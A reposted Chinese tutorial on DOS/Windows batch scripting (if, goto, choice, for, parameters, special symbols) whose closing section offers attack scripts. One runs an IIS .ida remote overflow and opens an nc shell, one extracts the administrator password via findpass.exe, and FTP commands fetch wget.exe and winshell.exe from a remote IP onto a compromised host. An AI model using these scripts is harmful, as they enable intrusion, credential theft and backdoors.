天天看點

BAT編寫詳細手冊 ( )

想到之前自己用過一個bat檔案自動登入郵箱的方式,很好玩,是以轉載了,其次跟一直在學習的linux很像,說不定哪天會有點用,設計bat檔案避免重複性的操作,暫時放到這裡吧!

首先,批處理檔案是一個文本檔案,這個檔案的每一行都是一條DOS指令(大部分時候就好象我們在DOS提示符下執行的指令行一樣),你

可以使用DOS下的Edit或者Windows的記事本(notepad)等任何文本檔案編輯工具建立和修改批處理檔案。

其次,批處理檔案是一種簡單的程式,可以通過條件語句(if)和流程控制語句(goto)來控制指令運作的流程,在批進行中也可以使用循環

語句(for)來循環執行一條指令。當然,批處理檔案的程式設計能力與C語言等程式設計語句比起來是十分有限的,也是十分不規範的。批處理的程

序語句就是一條條的 DOS指令(包括内部指令和外部指令),而批處理的能力主要取決于你所使用的指令。

第三,每個編寫好的批處理檔案都相當于一個DOS的外部指令,你可以把它所在的目錄放到你的DOS搜尋路徑(path)中來使得它可以在任意

位置運作。一個良好的習慣是在硬碟上建立一個bat或者batch 目錄(例如C:/BATCH),然後将所有你編寫的批處理檔案放到該目錄中,這

樣隻要在path中設定上c:/batch,你就可以在任意位置運作所有你編寫的批處理程式。

第四,在DOS和Win9x/Me系統下,C:盤根目錄下的AUTOEXEC.BAT批處理檔案是自動運作批處理檔案,每次系統啟動時會自動運作該檔案,你

可以将系統每次啟動時都要運作的指令放入該檔案中,例如設定搜尋路徑,調入滑鼠驅動和磁盤緩存,設定系統環境變量等。下面是一個

運作于Windows 98下的autoexec.bat的示例:

@ECHO OFF

PATH C:/WINDOWS;C:/WINDOWS/COMMAND;C:/UCDOS;C:/DOSTools;C:/SYSTOOLS;C:/WINTOOLS;C:/BATCH

LH SMARTDRV.EXE /X

LH DOSKEY.COM /INSERT

LH CTMOUSE.EXE

SET TEMP=D:/TEMP

SET TMP=D:/TEMP

批處理的作用

簡單的說,批處理的作用就是自動的連續執行多條指令。

這裡先講一個最簡單的應用:在啟動wps軟體時,每次都必須執行(>前面内容表示DOS提示符):

C:/>cd wps

C:/WPS>spdos

C:/WPS>py

C:/WPS>wbx

C:/WPS>wps

如果每次用WPS之前都這樣執行一遍,您是不是覺得很麻煩呢?

好了,用批處理,就可以實作将這些麻煩的操作簡單化,首先我們編寫一個runwps.bat批處理檔案,内容如下:

@echo off

c:

cd/wps

spdos

py

wbx

wps

cd/

以後,我們每次進入wps,隻需要運作runwps這個批處理檔案即可。

常用指令

echo、@、call、pause、rem(小技巧:用::代替rem)是批處理檔案最常用的幾個指令,我們就從他們開始學起。

echo 表示顯示此指令後的字元

echo off 表示在此語句後所有運作的指令都不顯示指令行本身

@與echo off相象,但它是加在每個指令行的最前面,表示運作時不顯示這一行的指令行(隻能影響目前行)。

call 調用另一個批處理檔案(如果不用call而直接調用别的批處理檔案,那麼執行完那個批處理檔案後将無法傳回目前檔案并執行目前文

件的後續指令)。

pause 運作此句會暫停批處理的執行并在螢幕上顯示Press any key to continue...的提示,等待使用者按任意鍵後繼續

rem 表示此指令後的字元為解釋行(注釋),不執行,隻是給自己今後參考用的(相當于程式中的注釋)。

例1:用edit編輯a.bat檔案,輸入下列内容後存盤為c:/a.bat,執行該批處理檔案後可實作:将根目錄中所有檔案寫入 a.txt中,啟動

UCDOS,進入WPS等功能。

  批處理檔案的内容為: 指令注釋:

@echo off           不顯示後續指令行及目前指令行

dir c:/*.* >a.txt       将c盤檔案清單寫入a.txt

call c:/ucdos/ucdos.bat    調用ucdos

echo 你好 顯示"你好"

pause 暫停,等待按鍵繼續

rem 準備運作wps 注釋:準備運作wps

cd ucdos 進入ucdos目錄

wps 運作wps

批處理檔案的參數

批處理檔案還可以像C語言的函數一樣使用參數(相當于DOS指令的指令行參數),這需要用到一個參數表示符"%"。

%[1-9]表示參數,參數是指在運作批處理檔案時在檔案名後加的以空格(或者Tab)分隔的字元串。變量可以從%0到%9,%0表示批處理指令

本身,其它參數字元串用%1到%9順序表示。

例2:C:根目錄下有一批處理檔案名為f.bat,内容為:

@echo off

format %1

如果執行C:/>f a:

那麼在執行f.bat時,%1就表示a:,這樣format %1就相當于format a:,于是上面的指令運作時實際執行的是format a:

例3:C:根目錄下一批處理檔案名為t.bat,内容為:

@echo off

type %1

type %2

那麼運作C:/>t a.txt b.txt

%1 : 表示a.txt

%2 : 表示b.txt

于是上面的指令将順序地顯示a.txt和b.txt檔案的内容。

特殊指令

if goto choice for是批處理檔案中比較進階的指令,如果這幾個你用得很熟練,你就是批處理檔案的專家啦。

一、if 是條件語句,用來判斷是否符合規定的條件,進而決定執行不同的指令。 有三種格式:

1、if [not] "參數" == "字元串" 待執行的指令

參數如果等于(not表示不等,下同)指定的字元串,則條件成立,運作指令,否則運作下一句。

例:if "%1"=="a" format a:

2、if [not] exist [路徑/]檔案名 待執行的指令

如果有指定的檔案,則條件成立,運作指令,否則運作下一句。

如: if exist c:/config.sys type c:/config.sys

表示如果存在c:/config.sys檔案,則顯示它的内容。

3、if errorlevel <數字> 待執行的指令

很多DOS程式在運作結束後會傳回一個數字值用來表示程式運作的結果(或者狀态),通過if errorlevel指令可以判斷程式的傳回值,根據

不同的傳回值來決定執行不同的指令(傳回值必須按照從大到小的順序排列)。如果傳回值等于指定的數字,則條件成立,運作指令,否則

運作下一句。

如if errorlevel 2 goto x2

二、goto 批處理檔案運作到這裡将跳到goto所指定的标号(标号即label,标号用:後跟标準字元串來定義)處,goto語句一般與if配合使用

,根據不同的條件來執行不同的指令組。

如:

goto end

:end

echo this is the end

标号用":字元串"來定義,标号所在行不被執行。

三、choice 使用此指令可以讓使用者輸入一個字元(用于選擇),進而根據使用者的選擇傳回不同的errorlevel,然後于if errorlevel配合

,根據使用者的選擇運作不同的指令。

注意:choice指令為DOS或者Windows系統提供的外部指令,不同版本的choice指令文法會稍有不同,請用choice /?檢視用法。

choice的指令文法(該文法為Windows 2003中choice指令的文法,其它版本的choice的指令文法與此大同小異):

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:

該工具允許使用者從選擇清單選擇一個項目并傳回所選項目的索引。

參數清單:

/C choices 指定要建立的選項清單。預設清單是 "YN"。

/N         在提示符中隐藏選項清單。提示前面的消息得到顯示,選項依舊處于啟用狀态。

/CS 允許選擇分大小寫的選項。在預設情況下,這個工具是不分大小寫的。

/T timeout 做出預設選擇之前,暫停的秒數。可接受的值是從 0 到 9999。如果指定了 0,就不會有暫停,預設選項

           會得到選擇。

/D choice    在 nnnn 秒之後指定預設選項。字元必須在用 /C 選項指定的一組選擇中; 同時,必須用 /T 指定 nnnn。

/M text     指定提示之前要顯示的消息。如果沒有指定,工具隻顯示提示。

/?         顯示幫助消息。

 注意:

ERRORLEVEL 環境變量被設定為從選擇集選擇的鍵索引。列出的第一個選擇傳回 1,第二個選擇傳回 2,等等。如果使用者按的鍵不是有效的

選擇,該工具會發出警告響聲。如果該工具檢測到錯誤狀态,它會傳回 255 的ERRORLEVEL 值。如果使用者按 Ctrl+Break 或 Ctrl+C 鍵,

該工具會傳回 0 的 ERRORLEVEL 值。在一個批程式中使用 ERRORLEVEL 參數時,将參數降序排列。

示例:

CHOICE /?

CHOICE /C YNC /M "确認請按 Y,否請按 N,或者取消請按 C。"

CHOICE /T 10 /C ync /CS /D y

CHOICE /C ab /M "選項 1 請選擇 a,選項 2 請選擇 b。"

CHOICE /C ab /N /M "選項 1 請選擇 a,選項 2 請選擇 b。"

如果我運作指令:CHOICE /C YNC /M "确認請按 Y,否請按 N,或者取消請按 C。"

螢幕上會顯示:

确認請按 Y,否請按 N,或者取消請按 C。 [Y,N,C]?

例:test.bat的内容如下(注意,用if errorlevel判斷傳回值時,要按傳回值從高到低排列):

@echo off

choice /C dme /M "defrag,mem,end"

if errorlevel 3 goto end

if errorlevel 2 goto mem

if errotlevel 1 goto defrag

:defrag

c:/dos/defrag

goto end

:mem

mem

goto end

:end

echo good bye

此批處理運作後,将顯示"defrag,mem,end[D,M,E]?" ,使用者可選擇d m e ,然後if語句根據使用者的選擇作出判斷,d表示執行标号為

defrag的程式段,m表示執行标号為mem的程式段,e表示執行标号為end的程式段,每個程式段最後都以goto end将程式跳到end标号處,然

後程式将顯示good bye,批處理運作結束。

四、for 循環指令,隻要條件符合,它将多次執行同一指令。

文法:

對一組檔案中的每一個檔案執行某個特定指令。

FOR %%variable IN (set) DO command [command-parameters]

%%variable    指定一個單一字母可替換的參數。

(set)      指定一個或一組檔案。可以使用通配符。

command     指定對每個檔案執行的指令。

command-parameters 為特定指令指定參數或指令行開關。

例如一個批處理檔案中有一行:

for %%c in (*.bat *.txt) do type %%c

則該指令行會顯示目前目錄下所有以bat和txt為擴充名的檔案的内容。

批處理示例

1. IF-EXIST

1)

首先用記事本在C:/建立一個test1.bat批處理檔案,檔案内容如下:

@echo off

IF EXIST /AUTOEXEC.BAT TYPE /AUTOEXEC.BAT

IF NOT EXIST /AUTOEXEC.BAT ECHO /AUTOEXEC.BAT does not exist

然後運作它:

C:/>TEST1.BAT

如果C:/存在AUTOEXEC.BAT檔案,那麼它的内容就會被顯示出來,如果不存在,批處理就會提示你該檔案不存在。

2)

接着再建立一個test2.bat檔案,内容如下:

@ECHO OFF

IF EXIST /%1 TYPE /%1

IF NOT EXIST /%1 ECHO /%1 does not exist

執行:

C:/>TEST2 AUTOEXEC.BAT

該指令運作結果同上。

說明:

(1) IF EXIST 是用來測試檔案是否存在的,格式為

IF EXIST [路徑+檔案名] 指令

(2) test2.bat檔案中的%1是參數,DOS允許傳遞9個批參數資訊給批處理檔案,分别為%1~%9(%0表示test2指令本身) ,這有點象程式設計中的

實參和形參的關系,%1是形參,AUTOEXEC.BAT是實參。

3) 更進一步的,建立一個名為TEST3.BAT的檔案,内容如下:

@echo off

IF "%1" == "A" ECHO XIAO

IF "%2" == "B" ECHO TIAN

IF "%3" == "C" ECHO XIN

如果運作:

C:/>TEST3 A B C

螢幕上會顯示:

XIAO

TIAN

XIN

如果運作:

C:/>TEST3 A B

螢幕上會顯示

XIAO

TIAN

在這個指令執行過程中,DOS會将一個空字元串指定給參數%3。

2、IF-ERRORLEVEL

建立TEST4.BAT,内容如下:

@ECHO OFF

XCOPY C:/AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 檔案拷貝失敗

IF ERRORLEVEL 0 ECHO 成功拷貝檔案

然後執行檔案:

C:/>TEST4

如果檔案拷貝成功,螢幕就會顯示"成功拷貝檔案",否則就會顯示"檔案拷貝失敗"。

IF ERRORLEVEL 是用來測試它的上一個DOS指令的傳回值的,注意隻是上一個指令的傳回值,而且傳回值必須依照從大到小次序順序判斷。

是以下面的批處理檔案是錯誤的:

@ECHO OFF

XCOPY C:/AUTOEXEC.BAT D:/

IF ERRORLEVEL 0 ECHO 成功拷貝檔案

IF ERRORLEVEL 1 ECHO 未找到拷貝檔案

IF ERRORLEVEL 2 ECHO 使用者通過ctrl-c中止拷貝操作

IF ERRORLEVEL 3 ECHO 預置錯誤阻止檔案拷貝操作

IF ERRORLEVEL 4 ECHO 拷貝過程中寫盤錯誤

無論拷貝是否成功,後面的:

未找到拷貝檔案

使用者通過ctrl-c中止拷貝操作

預置錯誤阻止檔案拷貝操作

拷貝過程中寫盤錯誤

都将顯示出來。

以下就是幾個常用指令的傳回值及其代表的意義:

backup

0 備份成功

1 未找到備份檔案

2 檔案共享沖突阻止備份完成

3 使用者用ctrl-c中止備份

4 由于緻命的錯誤使備份操作中止

diskcomp

0 盤比較相同

1 盤比較不同

2 使用者通過ctrl-c中止比較操作

3 由于緻命的錯誤使比較操作中止

4 預置錯誤中止比較

diskcopy

0 盤拷貝操作成功

1 非緻命盤讀/寫錯

2 使用者通過ctrl-c結束拷貝操作

3 因緻命的處理錯誤使盤拷貝中止

4 預置錯誤阻止拷貝操作

format

0 格式化成功

3 使用者通過ctrl-c中止格式化處理

4 因緻命的處理錯誤使格式化中止

5 在提示"proceed with format(y/n)?"下使用者鍵入n結束

xcopy

0 成功拷貝檔案

1 未找到拷貝檔案

2 使用者通過ctrl-c中止拷貝操作

4 預置錯誤阻止檔案拷貝操作

5 拷貝過程中寫盤錯誤

3、IF STRING1 == STRING2

建立TEST5.BAT,檔案内容如下:

@echo off

IF "%1" == "A" formAT A:

執行:

C:/>TEST5 A

螢幕上就出現是否将A:盤格式化的内容。

注意:為了防止參數為空的情況,一般會将字元串用雙引号(或者其它符号,注意不能使用保留符号)括起來。

如:if [%1]==[A] 或者 if %1*==A*

5、GOTO

建立TEST6.BAT,檔案内容如下:

@ECHO OFF

IF EXIST C:/AUTOEXEC.BAT GOTO _COPY

GOTO _DONE

:_COPY

COPY C:/AUTOEXEC.BAT D:/

:_DONE

注意:

(1) 标号前是ASCII字元的冒号":",冒号與标号之間不能有空格。

(2) 标号的命名規則與檔案名的命名規則相同。

(3) DOS支援最長八位字元的标号,當無法差別兩個标号時,将跳轉至最近的一個标号。

6、FOR

建立C:/TEST7.BAT,檔案内容如下:

@ECHO OFF

FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

運作:

C:>TEST7

執行以後,螢幕上會将C:盤根目錄下所有以BAT、TXT、SYS為擴充名的檔案内容顯示出來(不包括隐藏檔案)。

win2000指令行方式批處理BAT檔案技巧

文章結構

1. 所有内置指令的幫助資訊

2. 環境變量的概念

3. 内置的特殊符号(實際使用中間注意避開)

4. 簡單批處理檔案概念

5. 附件1 tmp.txt

6. 附件2 sample.bat

###########################

1. 所有内置指令的幫助資訊

###########################

ver

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他需要的常用指令

type /?

find /?

findstr /?

copy /?

下面将所有上面的幫助輸出到一個檔案

echo ver >tmp.txt

ver >>tmp.txt

echo cmd /? >>tmp.txt

cmd /? >>tmp.txt

echo rem /? >>tmp.txt

rem /? >>tmp.txt

echo if /? >>tmp.txt

if /? >>tmp.txt

echo goto /? >>tmp.txt

goto /? >>tmp.txt

echo for /? >>tmp.txt

for /? >>tmp.txt

echo shift /? >>tmp.txt

shift /? >>tmp.txt

echo call /? >>tmp.txt

call /? >>tmp.txt

echo type /? >>tmp.txt

type /? >>tmp.txt

echo find /? >>tmp.txt

find /? >>tmp.txt

echo findstr /? >>tmp.txt

findstr /? >>tmp.txt

echo copy /? >>tmp.txt

copy /? >>tmp.txt

type tmp.txt

#############################

2. 環境變量的概念

#############################

C:/Program Files>set

ALLUSERSPROFILE=C:/Documents and Settings/All Users

CommonProgramFiles=C:/Program Files/Common Files

COMPUTERNAME=FIRST

ComSpec=C:/WINNT/system32/cmd.exe

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:/WINNT/system32/os2/dll;

Path=C:/WINNT/system32;C:/WINNT;C:/WINNT/system32/WBEM

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0605

ProgramFiles=C:/Program Files

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:/WINNT

TEMP=C:/WINNT/TEMP

TMP=C:/WINNT/TEMP

USERPROFILE=C:/Documents and Settings/Default User

windir=C:/WINNT

path: 表示可執行程式的搜尋路徑. 我的建議是你把你的程式copy 到

%windir%/system32/. 這個目錄裡面. 一般就可以自動搜尋到.

文法: copy mychenxu.exe %windir%/system32/.

使用點(.) 便于一目了然

對環境變量的引用使用(英文模式,半角)雙引号

%windir% 變量

%%windir%% 二次變量引用.

我們常用的還有

%temp% 臨時檔案目錄

%windir% 系統目錄

%errorlevel% 退出代碼

輸出檔案到臨時檔案目錄裡面.這樣便于目前目錄整潔.

對有空格的參數. 你應該學會使用雙引号("") 來表示比如對porgram file檔案夾操作

C:/>dir p*

C:/ 的目錄

2000-09-02 11:47 2,164 PDOS.DEF

1999-01-03 00:47 <DIR> Program Files

1 個檔案 2,164 位元組

1 個目錄 1,505,997,824 可用位元組

C:/>cd pro*

C:/Program Files>

C:/>

C:/>cd "Program Files"

C:/Program Files>

############################################

3. 内置的特殊符号(實際使用中間注意避開)

############################################

微軟裡面内置了下列字元不能夠在建立的檔案名中間使用

con nul aux / / | || && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or

^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included

as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

(大意: 要麼你使用^作為前導字元表示.或者就隻有使用雙引号""了)

To create the variable value new&name, type:

set varname=new^&name

To create the variable value "new&name", type:

set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^)

or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt

IF EXIST filename. (del filename.) ELSE echo filename. missing

> 建立一個檔案

>> 追加到一個檔案後面

@ 字首字元.表示執行時本行在cmd裡面不顯示, 可以使用 echo off關閉顯示

^ 對特殊符号( > < &)的前導字元. 第一個隻是顯示aaa 第二個輸出檔案bbb

echo 123456 ^> aaa

echo 1231231 > bbb

() 包含指令

(echo aa & echo bb)

, 和空格一樣的預設分隔符号.

; 注釋,表示後面為注釋

: 标号作用

| 管道操作

& Usage:第一條指令 & 第二條指令 [& 第三條指令...]

用這種方法可以同時執行多條指令,而不管指令是否執行成功

dir c:/*.exe & dir d:/*.exe & dir e:/*.exe

&& Usage:第一條指令 && 第二條指令 [&& 第三條指令...]

當碰到執行出錯的指令後将不執行後面的指令,如果一直沒有出錯則一直執行完所有指令;

|| Usage:第一條指令 || 第二條指令 [|| 第三條指令...]

當碰到執行正确的指令後将不執行後面的指令,如果沒有出現正确的指令則一直執行完所有指令;

常用文法格式

IF [NOT] ERRORLEVEL number command para1 para2

IF [NOT] string1==string2 command para1 para2

IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2

IF NOT EXIST filename command para1 para2

IF "%1"=="" goto END

IF "%1"=="net" goto NET

IF NOT "%2"=="net" goto OTHER

IF ERRORLEVEL 1 command para1 para2

IF NOT ERRORLEVEL 1 command para1 para2

FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k

按照字母順序 ijklmnopq依次取參數.

eol=c - 指一個行注釋字元的結尾(就一個)

skip=n - 指在檔案開始時忽略的行數。

delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的預設分隔符集。

########################

4. 簡單批處理檔案概念

########################

echo This is test > a.txt

type a.txt

echo This is test 11111 >> a.txt

type a.txt

echo This is test 22222 > a.txt

type a.txt

第二個echo是追加

第三個echo将清空a.txt 重新建立 a.txt

netstat -n | find "3389"

這個将要列出所有連接配接3389的使用者的ip.

________________test.bat______

@echo please care

echo plese care 1111

echo plese care 2222

echo plese care 3333

@echo please care

@echo plese care 1111

@echo plese care 2222

@echo plese care 3333

rem 不顯示注釋語句,本行顯示

@rem 不顯示注釋語句,本行不顯示

@if exist %windir%/system32/find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

@if exist %windir%/system32/fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

_____________________________

下面我們以具體的一個idahack程式就是ida遠端溢出為例子.應該是很簡單的.

___________________ida.bat_____

@rem ver 1.0

@if NOT exist %windir%/system32/idahack.exe echo "ERROR: dont find idahack.exe"

@if NOT exist %windir%/system32/nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE

@if NOT "%2" =="" goto SP2

:start

@echo Now start ...

@ping %1

@echo chinese win2k:1 sp1:2 sp2:3

idahack.exe %1 80 1 99 >%temp%/_tmp

@echo "prog exit code [%errorlevel%] idahack.exe"

@type %temp%/_tmp

@find "good luck :)" %temp%/_tmp

@echo "prog exit code [%errorlevel%] find [goog luck]"

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:SP2

@idahack.exe %1 80 %2 99 %temp%/_tmp

@type %temp%/_tmp

@find "good luck :)" %temp%/_tmp

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:USAGE

@echo Example: ida.bat IP

@echo Example: ida.bat IP (2,3)

:END

_____________________ida.bat__END_______

下面我們再來第二個檔案.就是得到administrator的密碼.

大多數人說得不到.其實是自己的沒有輸入正确的資訊.

___________________________fpass.bat____________________________________________

@rem ver 1.0

@if NOT exist %windir%/system32/findpass.exe echo "ERROR: dont find findpass.exe"

@if NOT exist %windir%/system32/pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....

@echo ____________________________________

@if "%1"=="" goto USAGE

@findpass.exe %1 %2 %3 >> %temp%/_findpass.txt

@echo "prog exit code [%errorlevel%] findpass.exe"

@type %temp%/_findpass.txt

@echo ________________________________Here__pass★★★★★★★★

@ipconfig /all >>%temp%/_findpass.txt

@goto END

:USAGE

@pulist.exe >%temp%/_pass.txt

@findstr.exe /i "WINLOGON explorer internat" %temp%/_pass.txt

@echo "Example: fpass.bat %1 %2 %3 %4 !!!"

@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END

@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "

@echo " fpass.bat end [%errorlevel%] !"

_________________fpass.bat___END___________________________________________________________

還有一個就是已經通過telnet登陸了一個遠端主機.怎樣上傳檔案(win)

依次在視窗輸入下面的東西. 當然了也可以全部拷貝.Ctrl+V過去. 然後就等待吧!!

echo open 210.64.x.4 3396>w

echo read>>w

echo read>>w

echo cd winnt>>w

echo binary>>w

echo pwd >>w

echo get wget.exe >>w

echo get winshell.exe >>w